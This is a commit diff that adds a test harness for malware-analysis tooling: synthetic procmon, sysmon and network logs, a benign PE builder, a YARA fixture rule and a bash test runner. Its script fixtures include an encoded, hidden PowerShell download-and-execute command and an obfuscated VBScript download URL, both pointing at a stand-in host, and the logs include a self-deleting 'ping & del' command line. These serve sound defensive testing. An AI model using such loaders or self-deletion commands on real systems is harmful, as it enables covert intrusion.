reverse-skills-max: initial public release (restored, redacted, hardened)

This commit is contained in:
baradok609hecl1pq6qi
2026-10-20 02:17:15 +03:00
commit da24c2bd20
2227 changed files with 443931 additions and 0 deletions

View File

@@ -0,0 +1,23 @@
#!/usr/bin/env python3
"""Extract fenced Sigma YAML blocks from a Markdown SKILL file to files.
A block counts as Sigma if it contains both 'detection:' and 'logsource:'.
Placeholder rules (id: xxxxxxxx...) are skipped so `sigma check` only sees
real, validatable content.
Usage: python3 extract_rules.py <SKILL.md> <out-prefix> # -> <prefix>1.yml, ...
"""
import re
import sys
md, prefix = sys.argv[1], sys.argv[2]
text = open(md, encoding="utf-8").read()
blocks = re.findall(r"```ya?ml\n(.*?)```", text, re.S)
n = 0
for b in blocks:
if "detection:" in b and "logsource:" in b:
if not re.search(r"id:\s*[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", b):
continue # skip the structure-template block; keep only rules with a real UUID
n += 1
open(f"{prefix}{n}.yml", "w").write(b)
print(f"extracted {n} sigma rule(s)")

View File

@@ -0,0 +1,3 @@
Sep 5 10:00:02 10.0.0.15 update-cdn.example.test
Sep 5 10:01:06 10.0.0.15 update-cdn.example.test
Sep 5 10:00:10 10.0.0.15 clients2.google.com

View File

@@ -0,0 +1,2 @@
Sep 5 10:00:02 203.0.113.5 update-cdn.example.test POST /gate.php Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)
Sep 5 10:01:06 203.0.113.5 update-cdn.example.test POST /gate.php Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)

View File

@@ -0,0 +1,17 @@
"Time of Day","Process Name","PID","Operation","Path","Result","Detail"
"10:00:01.1","explorer.exe","1400","Process Create","C:\Users\Public\invoice_2024.exe","SUCCESS","PID: 4820, Command line: ""C:\Users\Public\invoice_2024.exe"" /install"
"10:00:01.2","invoice_2024.exe","4820","Process Start","","SUCCESS","Parent PID: 1400, Command line: ""C:\Users\Public\invoice_2024.exe"" /install, Current directory: C:\Users\Public\"
"10:00:01.3","invoice_2024.exe","4820","CreateFile","C:\Users\Bob\AppData\Roaming\svc.exe","SUCCESS","Desired Access: Generic Write, Disposition: Create, OpenResult: Created"
"10:00:01.4","invoice_2024.exe","4820","WriteFile","C:\Users\Bob\AppData\Roaming\svc.exe","SUCCESS","Offset: 0, Length: 51200"
"10:00:01.5","invoice_2024.exe","4820","RegCreateKey","HKCU\Software\Microsoft\Windows\CurrentVersion\Run","SUCCESS","Desired Access: All Access"
"10:00:01.6","invoice_2024.exe","4820","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","SUCCESS","Type: REG_SZ, Length: 62, Data: C:\Users\Bob\AppData\Roaming\svc.exe"
"10:00:02.0","invoice_2024.exe","4820","Load Image","C:\Users\Bob\AppData\Roaming\hlp.dll","SUCCESS","Image Base: 0x10000000, Image Size: 0x14000"
"10:00:02.5","invoice_2024.exe","4820","TCP Connect","DESKTOP-TEST:49700 -> 203.0.113.5:443","SUCCESS","Length: 0, mss: 1460"
"10:00:03.0","invoice_2024.exe","4820","Process Create","C:\Windows\System32\cmd.exe","SUCCESS","PID: 5102, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del ""C:\Users\Public\invoice_2024.exe"""
"10:00:03.1","cmd.exe","5102","Process Start","","SUCCESS","Parent PID: 4820, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del ""C:\Users\Public\invoice_2024.exe"""
"10:00:03.2","cmd.exe","5102","Process Create","C:\Windows\System32\PING.EXE","SUCCESS","PID: 5140, Command line: ping -n 3 127.0.0.1"
"10:00:06.0","cmd.exe","5102","SetDispositionInformationFile","C:\Users\Public\invoice_2024.exe","SUCCESS","Delete: True"
"10:00:06.2","svc.exe","5300","Process Start","","SUCCESS","Parent PID: 1, Command line: C:\Users\Bob\AppData\Roaming\svc.exe"
"10:00:06.5","svc.exe","5300","TCP Connect","DESKTOP-TEST:49712 -> 203.0.113.5:443","SUCCESS","Length: 0, mss: 1460"
"10:00:10.0","chrome.exe","2100","WriteFile","C:\Users\Bob\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1","SUCCESS","Offset: 0, Length: 4096"
"10:00:11.0","svchost.exe","900","RegQueryValue","HKLM\System\CurrentControlSet\Services\Tcpip\Parameters","SUCCESS","Type: REG_DWORD"
1 Time of Day Process Name PID Operation Path Result Detail
2 10:00:01.1 explorer.exe 1400 Process Create C:\Users\Public\invoice_2024.exe SUCCESS PID: 4820, Command line: "C:\Users\Public\invoice_2024.exe" /install
3 10:00:01.2 invoice_2024.exe 4820 Process Start SUCCESS Parent PID: 1400, Command line: "C:\Users\Public\invoice_2024.exe" /install, Current directory: C:\Users\Public\
4 10:00:01.3 invoice_2024.exe 4820 CreateFile C:\Users\Bob\AppData\Roaming\svc.exe SUCCESS Desired Access: Generic Write, Disposition: Create, OpenResult: Created
5 10:00:01.4 invoice_2024.exe 4820 WriteFile C:\Users\Bob\AppData\Roaming\svc.exe SUCCESS Offset: 0, Length: 51200
6 10:00:01.5 invoice_2024.exe 4820 RegCreateKey HKCU\Software\Microsoft\Windows\CurrentVersion\Run SUCCESS Desired Access: All Access
7 10:00:01.6 invoice_2024.exe 4820 RegSetValue HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate SUCCESS Type: REG_SZ, Length: 62, Data: C:\Users\Bob\AppData\Roaming\svc.exe
8 10:00:02.0 invoice_2024.exe 4820 Load Image C:\Users\Bob\AppData\Roaming\hlp.dll SUCCESS Image Base: 0x10000000, Image Size: 0x14000
9 10:00:02.5 invoice_2024.exe 4820 TCP Connect DESKTOP-TEST:49700 -> 203.0.113.5:443 SUCCESS Length: 0, mss: 1460
10 10:00:03.0 invoice_2024.exe 4820 Process Create C:\Windows\System32\cmd.exe SUCCESS PID: 5102, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del "C:\Users\Public\invoice_2024.exe"
11 10:00:03.1 cmd.exe 5102 Process Start SUCCESS Parent PID: 4820, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del "C:\Users\Public\invoice_2024.exe"
12 10:00:03.2 cmd.exe 5102 Process Create C:\Windows\System32\PING.EXE SUCCESS PID: 5140, Command line: ping -n 3 127.0.0.1
13 10:00:06.0 cmd.exe 5102 SetDispositionInformationFile C:\Users\Public\invoice_2024.exe SUCCESS Delete: True
14 10:00:06.2 svc.exe 5300 Process Start SUCCESS Parent PID: 1, Command line: C:\Users\Bob\AppData\Roaming\svc.exe
15 10:00:06.5 svc.exe 5300 TCP Connect DESKTOP-TEST:49712 -> 203.0.113.5:443 SUCCESS Length: 0, mss: 1460
16 10:00:10.0 chrome.exe 2100 WriteFile C:\Users\Bob\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1 SUCCESS Offset: 0, Length: 4096
17 10:00:11.0 svchost.exe 900 RegQueryValue HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Type: REG_DWORD

View File

@@ -0,0 +1,7 @@
1757066406.0 203.0.113.5 443
1757066466.0 203.0.113.5 443
1757066526.0 203.0.113.5 443
1757066586.0 203.0.113.5 443
1757066646.0 203.0.113.5 443
1757066706.0 203.0.113.5 443
1757066411.0 142.250.0.1 443

View File

@@ -0,0 +1,87 @@
[
{
"Id": 1,
"TimeCreated": "2026-09-05T10:00:01",
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:01.100\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nCommandLine: \"C:\\Users\\Public\\invoice_2024.exe\" /install\nHashes: SHA256=AF747150F9AFC0937A6B62755F9BD84CFB88726370F6007AC03F8F7504D38C4D,IMPHASH=DFCAEBD44FF7676285215E9D856415F3\nParentProcessId: 1400\nParentImage: C:\\Windows\\explorer.exe\nParentCommandLine: C:\\Windows\\explorer.exe"
},
{
"Id": 11,
"TimeCreated": "2026-09-05T10:00:01",
"Message": "File created:\nUtcTime: 2026-09-05 10:00:01.300\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nTargetFilename: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"
},
{
"Id": 13,
"TimeCreated": "2026-09-05T10:00:01",
"Message": "Registry value set:\nEventType: SetValue\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nTargetObject: HKU\\S-1-5-21-1\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WinUpdate\nDetails: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"
},
{
"Id": 7,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "Image loaded:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nImageLoaded: C:\\Users\\Bob\\AppData\\Roaming\\hlp.dll\nSigned: false\nSignature: "
},
{
"Id": 8,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "CreateRemoteThread detected:\nSourceProcessId: 4820\nSourceImage: C:\\Users\\Public\\invoice_2024.exe\nTargetProcessId: 1400\nTargetImage: C:\\Windows\\explorer.exe\nStartAddress: 0x000002A4C0000000"
},
{
"Id": 10,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "Process accessed:\nSourceProcessId: 4820\nSourceImage: C:\\Users\\Public\\invoice_2024.exe\nTargetImage: C:\\Windows\\explorer.exe\nGrantedAccess: 0x1F0FFF"
},
{
"Id": 1,
"TimeCreated": "2026-09-05T10:00:03",
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:03.000\nProcessId: 5102\nImage: C:\\Windows\\System32\\cmd.exe\nCommandLine: cmd.exe /c ping -n 3 127.0.0.1 & del \"C:\\Users\\Public\\invoice_2024.exe\"\nParentProcessId: 4820\nParentImage: C:\\Users\\Public\\invoice_2024.exe"
},
{
"Id": 22,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "DNS query:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nQueryName: update-cdn.example.test\nQueryResults: 203.0.113.5"
},
{
"Id": 1,
"TimeCreated": "2026-09-05T10:00:06",
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:06.200\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nCommandLine: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nHashes: SHA256=1111111111111111111111111111111111111111111111111111111111111111\nParentProcessId: 700\nParentImage: C:\\Windows\\System32\\services.exe\nParentCommandLine: C:\\Windows\\System32\\services.exe"
},
{
"Id": 17,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "Pipe Created:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nPipeName: \\testfixture"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:00:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:00:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:01:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:01:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:02:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:02:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:03:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:03:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:04:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:04:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:05:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:05:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 22,
"TimeCreated": "2026-09-05T10:00:10",
"Message": "DNS query:\nProcessId: 2100\nImage: C:\\Program Files\\Google\\Chrome\\chrome.exe\nQueryName: clients2.google.com\nQueryResults: 142.250.0.1"
}
]

View File

@@ -0,0 +1 @@
Sep 5 10:00:02 203.0.113.5 443 update-cdn.example.test a0e9f5d64349fb13191bc781f81f42e1

View File

@@ -0,0 +1,3 @@
powershell.exe -nop -w hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdQBwAGQAYQB0AGUALQBjAGQAbgAuAGUAeABhAG0AcABsAGUALgB0AGUAcwB0AC8AcwB0AGEAZwBlADIALgBwAHMAMQAiACkA
$u = "ht"+"tp://update-cdn.example.test/gate.php"
$b = [System.Convert]::FromBase64String("VGVzdEZpeHR1cmU=")

View File

@@ -0,0 +1,5 @@
Dim c, u, r
c = Chr(99) & Chr(109) & Chr(100)
u = Replace("hXXtXXtXXp://update-cdn.example.test/p.exe","XX","")
r = StrReverse("exe.clac")
CreateObject("WScript.Shell").Run c & " /c " & r

View File

@@ -0,0 +1,15 @@
rule Test_Fixture_Invoice2024 {
meta:
description = "Detects the benign PE test fixture built by tests/make_pe.py"
author = "malware-analysis-skills test harness"
reference = "tests/make_pe.py"
note = "Fixture only — not a real malware signature"
strings:
$mz = { 4D 5A }
$c2 = "update-cdn.example.test/gate.php" ascii
$ua = "TestUA/1.0" ascii
$mtx = "Global\\TestFixtureMutex_9f2a" ascii
$tag = "BENIGN TEST FIXTURE" ascii
condition:
$mz at 0 and 3 of ($c2, $ua, $mtx, $tag)
}

View File

@@ -0,0 +1,135 @@
#!/usr/bin/env python3
"""
make_pe.py - build a small, valid, benign PE32 test fixture. Stdlib only.
The binary imports a handful of Windows APIs that triage heuristics care
about (injection, network, anti-debug, persistence) and embeds indicator
strings, then simply calls ExitProcess(0). It is deterministic (fixed
timestamp) so hashes are stable across runs.
Usage:
python3 make_pe.py out/invoice_2024.exe
"""
import struct
import sys
IMAGE_BASE = 0x400000
SEC_ALIGN, FILE_ALIGN = 0x1000, 0x200
TIMESTAMP = 1704067200 # 2024-01-01T00:00:00Z
IMPORTS = {
b"KERNEL32.dll": [b"ExitProcess", b"VirtualAllocEx", b"WriteProcessMemory", b"CreateRemoteThread",
b"OpenProcess", b"IsDebuggerPresent", b"GetTempPathA", b"CreateProcessA"],
b"WININET.dll": [b"InternetOpenA", b"InternetOpenUrlA", b"InternetReadFile"],
b"ADVAPI32.dll": [b"RegCreateKeyExA", b"RegSetValueExA"],
}
ASCII_STRINGS = [
b"http://update-cdn.example.test/gate.php",
b"Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)",
b"Global\\TestFixtureMutex_9f2a",
b"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
b"WinUpdate",
b"C:\\Users\\Public\\svc.exe",
b"203.0.113.5",
b"D:\\build\\fixture\\Release\\invoice.pdb",
b"BENIGN TEST FIXTURE - this program only calls ExitProcess(0)",
]
WIDE_STRINGS = ["cmd.exe /c ping -n 3 127.0.0.1 & del \"%s\"", "\\\\.\\pipe\\testfixture"]
def align(n, a):
return (n + a - 1) // a * a
def build_rdata(rdata_rva):
"""Return (bytes, iat_rva_of_ExitProcess, import_dir_rva, import_dir_size)."""
buf = bytearray()
n_dlls = len(IMPORTS)
idt_size = 20 * (n_dlls + 1)
buf += b"\0" * idt_size # import directory table, patched later
thunks = {} # dll -> (ilt_off, iat_off)
for dll, funcs in IMPORTS.items():
ilt_off = len(buf); buf += b"\0" * (4 * (len(funcs) + 1))
iat_off = len(buf); buf += b"\0" * (4 * (len(funcs) + 1))
thunks[dll] = (ilt_off, iat_off)
name_offs = {}
for dll, funcs in IMPORTS.items():
for i, f in enumerate(funcs):
if len(buf) % 2: buf += b"\0"
name_offs[(dll, f)] = len(buf)
buf += struct.pack("<H", 0) + f + b"\0"
dll_offs = {}
for dll in IMPORTS:
dll_offs[dll] = len(buf); buf += dll + b"\0"
# patch thunks and IDT
exit_iat = None
for idx, (dll, funcs) in enumerate(IMPORTS.items()):
ilt_off, iat_off = thunks[dll]
for i, f in enumerate(funcs):
rva = rdata_rva + name_offs[(dll, f)]
struct.pack_into("<I", buf, ilt_off + 4 * i, rva)
struct.pack_into("<I", buf, iat_off + 4 * i, rva)
if f == b"ExitProcess":
exit_iat = rdata_rva + iat_off + 4 * i
struct.pack_into("<IIIII", buf, 20 * idx, rdata_rva + ilt_off, 0, 0, rdata_rva + dll_offs[dll], rdata_rva + iat_off)
# strings
buf += b"\0" * 16
for s in ASCII_STRINGS:
buf += s + b"\0"
buf += b"\0" * 4
for s in WIDE_STRINGS:
buf += s.encode("utf-16le") + b"\0\0"
return bytes(buf), exit_iat, rdata_rva, idt_size
def build():
text_rva, rdata_rva, data_rva = 0x1000, 0x2000, 0x3000
rdata, exit_iat, idir_rva, idir_size = build_rdata(rdata_rva)
# push 0 ; call [ExitProcess] ; int3 padding
text = b"\x6a\x00\xff\x15" + struct.pack("<I", IMAGE_BASE + exit_iat) + b"\xcc" * 8
data = b"\0" * 0x40 + b"config-placeholder\0"
secs = [(b".text", text_rva, text, 0x60000020), (b".rdata", rdata_rva, rdata, 0x40000040), (b".data", data_rva, data, 0xC0000040)]
hdr_size = 0x400
raw_ptr = hdr_size
sec_hdrs, body = b"", b""
for name, rva, content, flags in secs:
raw_size = align(len(content), FILE_ALIGN)
sec_hdrs += struct.pack("<8sIIIIIIHHI", name.ljust(8, b"\0"), len(content), rva, raw_size, raw_ptr, 0, 0, 0, 0, flags)
body += content.ljust(raw_size, b"\0")
raw_ptr += raw_size
size_of_image = align(data_rva + len(data), SEC_ALIGN)
dos = bytearray(b"MZ" + b"\0" * 62)
struct.pack_into("<I", dos, 0x3C, 0x80)
stub = b"\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21This program cannot be run in DOS mode.\r\r\n$"
dos = bytes(dos) + stub.ljust(0x80 - 64, b"\0")
coff = b"PE\0\0" + struct.pack("<HHIIIHH", 0x14C, len(secs), TIMESTAMP, 0, 0, 0xE0, 0x0102)
opt = struct.pack("<HBBIIIIIIIIIHHHHHHIIIIHHIIIIII",
0x10B, 14, 0, align(len(text), FILE_ALIGN), align(len(rdata) + len(data), FILE_ALIGN), 0,
text_rva, text_rva, rdata_rva, IMAGE_BASE, SEC_ALIGN, FILE_ALIGN,
6, 0, 1, 0, 6, 0, 0, size_of_image, hdr_size, 0, 3, 0x8140,
0x100000, 0x1000, 0x100000, 0x1000, 0, 16)
dirs = [(0, 0)] * 16
dirs[1] = (idir_rva, idir_size)
dirs[12] = (rdata_rva + 20 * (len(IMPORTS) + 1) + 4 * (len(IMPORTS[b"KERNEL32.dll"]) + 1), 4 * (len(IMPORTS[b"KERNEL32.dll"]) + 1)) # IAT (first dll) - informational
opt += b"".join(struct.pack("<II", *d) for d in dirs)
headers = (dos + coff + opt + sec_hdrs).ljust(hdr_size, b"\0")
overlay = b"OVERLAY-TEST-DATA:" + bytes(range(256)) * 2
return headers + body + overlay
def main():
out = sys.argv[1] if len(sys.argv) > 1 else "invoice_2024.exe"
data = build()
assert data[:2] == b"MZ" and data[0x80:0x84] == b"PE\0\0"
with open(out, "wb") as f:
f.write(data)
print(f"wrote {out} ({len(data)} bytes)")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,145 @@
#!/usr/bin/env bash
# End-to-end test harness for the malware-analysis skills package.
#
# Proves the host-side tooling works on realistic fixtures: the Python
# scripts every skill depends on, plus the detection rules the skills
# ship as examples. No malware is involved — fixtures are synthetic
# (tests/make_pe.py builds a benign PE that only calls ExitProcess).
#
# Usage: bash tests/run.sh
# Exit 0 = all required checks pass. Optional tool checks (pefile, yara,
# sigma, olevba) are skipped with a note when the tool is absent, so the
# harness runs on a bare box and does more when deps are installed.
set -u
cd "$(dirname "$0")/.."
ROOT=$(pwd)
PY=python3
[ -x .venv/bin/python ] && PY=.venv/bin/python
mkdir -p tests/out
pass=0; fail=0; skip=0
ok() { echo " ok $1"; pass=$((pass+1)); }
bad() { echo " FAIL $1"; fail=$((fail+1)); }
skipm(){ echo " skip $1"; skip=$((skip+1)); }
have() { command -v "$1" >/dev/null 2>&1; }
pyhas(){ $PY -c "import $1" >/dev/null 2>&1; }
# assert: <label> <needle> <<< "$output"
assert(){ if grep -qF -- "$2" <<<"$3"; then ok "$1"; else bad "$1 (missing: $2)"; fi; }
refute(){ if grep -qF -- "$2" <<<"$3"; then bad "$1 (unexpected: $2)"; else ok "$1"; fi; }
echo "== 1. script self-tests"
for s in scripts/ioc_extract.py malware-dynamic-analysis/scripts/procmon_summary.py malware-dynamic-analysis/scripts/sysmon_summary.py; do
if $PY "$s" --self-test >/dev/null 2>&1; then ok "$s"; else bad "$s"; fi
done
echo "== 2. PE triage (pe_info.py on synthetic PE)"
$PY tests/make_pe.py tests/out/invoice_2024.exe >/dev/null
[ -f tests/out/invoice_2024.exe ] && ok "PE fixture built" || bad "PE fixture build"
if pyhas pefile; then
o=$($PY malware-triage/scripts/pe_info.py tests/out/invoice_2024.exe)
assert "detects .NET=no" ".NET: no" "$o"
assert "categorizes injection" "injection: CreateRemoteThread" "$o"
assert "categorizes network" "network: InternetOpenA" "$o"
assert "categorizes persistence" "persistence: RegCreateKeyExA" "$o"
assert "stable imphash" "dfcaebd44ff7676285215e9d856415f3" "$o"
assert "finds overlay" "Overlay size: 530 bytes" "$o"
# deterministic hash
h=$($PY malware-triage/scripts/hash_calculator.py tests/out/invoice_2024.exe | grep -i sha256)
assert "hash_calculator SHA256" "af747150f9afc0937a6b62755f9bd84cfb88726370f6007ac03f8f7504d38c4d" "$h"
else
skipm "pe_info.py (pip install pefile)"
fi
echo "== 3. Procmon evidence parsing"
o=$($PY malware-dynamic-analysis/scripts/procmon_summary.py tests/fixtures/evidence/procmon.csv --process invoice_2024.exe)
assert "process tree nests cmd" " cmd.exe (PID 5102)" "$o"
assert "grandchild named" "PING.EXE (PID 5140)" "$o"
assert "dropped file" "svc.exe" "$o"
assert "persistence flagged" "PERSISTENCE" "$o"
assert "self-deletion" "Files deleted (1)" "$o"
refute "no unrelated process" "chrome.exe:2100" "$o"
echo "== 4. Sysmon evidence parsing"
o=$($PY malware-dynamic-analysis/scripts/sysmon_summary.py tests/fixtures/evidence/sysmon.json --process invoice_2024.exe,svc.exe)
assert "injection remote thread" "-> C:\\Windows\\explorer.exe" "$o"
assert "high-rights access" "0x1F0FFF" "$o"
assert "run key persistence" "PERSISTENCE" "$o"
assert "beacon detected" "BEACON-LIKE" "$o"
assert "named pipe IOC" "\\testfixture" "$o"
assert "unsigned dll load" "hlp.dll signed=false" "$o"
echo "== 5. IOC extraction + defang"
o=$(cat tests/fixtures/evidence/*.txt tests/fixtures/evidence/procmon.csv | $PY scripts/ioc_extract.py)
assert "C2 IP defanged" "203[.]0[.]113[.]5" "$o"
assert "C2 domain defanged" "update-cdn[.]example[.]test" "$o"
refute "no live C2 dot" "203.0.113.5" "$o"
o2=$(echo "hxxps://update-cdn[.]example[.]test/gate[.]php" | $PY scripts/ioc_extract.py --refang)
assert "refang restores URL" "update-cdn.example.test" "$o2"
echo "== 6. Script deobfuscation (host-side decoders from the skill)"
o=$($PY - tests/fixtures/scripts/malicious.ps1 <<'EOF'
import base64, re, sys
src = open(sys.argv[1], encoding="utf-8", errors="replace").read()
for m in re.finditer(r"[A-Za-z0-9+/]{40,}={0,2}", src):
raw = base64.b64decode(m.group(0) + "=" * (-len(m.group(0)) % 4))
for enc in ("utf-16le", "utf-8"):
try:
print(raw.decode(enc)); break
except UnicodeDecodeError:
continue
EOF
)
assert "PowerShell base64 decoded" "DownloadString" "$o"
o=$($PY - tests/fixtures/scripts/malicious.vbs <<'EOF'
import re, sys
c = open(sys.argv[1], encoding="utf-8", errors="replace").read()
c = re.sub(r"Chr[Ww]?\((\d+)\)", lambda m: '"' + chr(int(m.group(1))) + '"', c)
c = re.sub(r'"\s*&\s*"', "", c)
c = re.sub(r'StrReverse\("([^"]*)"\)', lambda m: '"' + m.group(1)[::-1] + '"', c)
for m in re.finditer(r'Replace\("([^"]*)",\s*"([^"]*)",\s*"([^"]*)"\)', c):
c = c.replace(m.group(0), '"' + m.group(1).replace(m.group(2), m.group(3)) + '"')
print(c)
EOF
)
assert "VBS Chr() resolved" '"cmd"' "$o"
assert "VBS StrReverse resolved" "calc.exe" "$o"
echo "== 7. Detection rules validate (optional)"
if have sigma || [ -x .venv/bin/sigma ]; then
SIGMA=sigma; [ -x .venv/bin/sigma ] && SIGMA=.venv/bin/sigma
n=0
rm -f tests/out/sigma_*.yml
$PY tests/extract_rules.py detection-engineer/SKILL.md tests/out/sigma_
for f in tests/out/sigma_*.yml; do
[ -f "$f" ] || continue
if $SIGMA check "$f" >/dev/null 2>&1; then ok "sigma check $(basename "$f")"; else bad "sigma check $(basename "$f")"; fi
n=$((n+1))
done
[ "$n" -gt 0 ] || skipm "no sigma rules extracted"
else
skipm "sigma check (pip install sigma-cli)"
fi
echo "== 8. YARA rule tests against PE fixture (optional)"
if { have yara || pyhas yara; } && [ -f tests/fixtures/yara/fixture.yar ]; then
if pyhas yara; then
o=$($PY - tests/fixtures/yara/fixture.yar tests/out/invoice_2024.exe tests/extract_rules.py <<'EOF'
import yara, sys
r = yara.compile(sys.argv[1])
print("MATCH" if r.match(sys.argv[2]) else "NOMATCH", "sample")
print("MATCH" if r.match(sys.argv[3]) else "NOMATCH", "clean")
EOF
)
assert "YARA matches sample" "MATCH sample" "$o"
assert "YARA clean no-match" "NOMATCH clean" "$o"
elif have yara; then
yara -w tests/fixtures/yara/fixture.yar tests/out/invoice_2024.exe | grep -q fixture && ok "yara matches sample" || bad "yara sample"
fi
else
skipm "yara (pip install yara-python)"
fi
echo
echo "== summary: $pass passed, $fail failed, $skip skipped"
[ "$fail" -eq 0 ]